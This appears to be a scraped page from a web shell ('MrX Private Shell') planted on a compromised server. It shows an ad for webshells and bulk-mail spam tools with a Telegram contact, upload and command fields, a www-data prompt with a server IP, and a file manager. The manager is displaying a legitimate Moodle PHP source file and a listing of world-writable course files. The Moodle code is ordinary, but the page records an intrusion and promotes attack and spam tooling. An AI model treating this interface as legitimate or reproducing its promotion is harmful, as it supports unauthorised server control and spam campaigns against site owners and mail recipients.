__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_course\output\actionbar;

use core\output\renderable;
use core\output\renderer_base;
use stdClass;
use templatable;

/**
 * Renderable class for the initial_dropdown_form.
 *
 * This form is the content for the initials_selector renderable, which itself is an extension of the comboboxsearch component.
 * {@see initials_selector}.
 *
 * @package    core_course
 * @copyright  2024 Jake Dallimore <jrhdallimore@gmail.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class initials_dropdown_form implements renderable, templatable {

    /**
     * The class constructor.
     *
     * @param stdClass $course The course object.
     * @param string $targeturl The target URL to send the form to.
     * @param string $firstinitial The selected first initial.
     * @param string $lastinitial The selected last initial.
     * @param string $firstinitialparam The parameter name for the first initial.
     * @param string $lastinitialparam The parameter name for the last initial.
     * @param array $additionalparams Any additional parameters required for the form submission URL.
     */
    public function __construct(
        protected stdClass $course,
        protected string $targeturl,
        protected string $firstinitial = '',
        protected string $lastinitial = '',
        protected string $firstinitialparam = 'sifirst',
        protected string $lastinitialparam = 'silast',
        protected array $additionalparams = []
    ) {
    }

    public function export_for_template(renderer_base $output) {
        global $PAGE;

        $PAGE->requires->js_call_amd('core_course/actionbar/initials', 'init',
            [$this->targeturl, $this->firstinitialparam, $this->lastinitialparam, $this->additionalparams]);
        $renderer = $PAGE->get_renderer('core_user');

        return (object) [
            'courseid' => $this->course->id,
            'initialsbars' => $renderer->partial_user_search($this->targeturl, $this->firstinitial, $this->lastinitial, true),
        ];
    }
}

Filemanager

Name Type Size Permission Actions
group_selector.php File 5.29 KB 0777
group_selector_button.php File 2.33 KB 0777
group_selector_dropdown_form.php File 1.86 KB 0777
initials_dropdown_form.php File 2.68 KB 0777
initials_selector.php File 4.63 KB 0777
user_selector.php File 2.95 KB 0777
user_selector_button.php File 2.52 KB 0777
Filemanager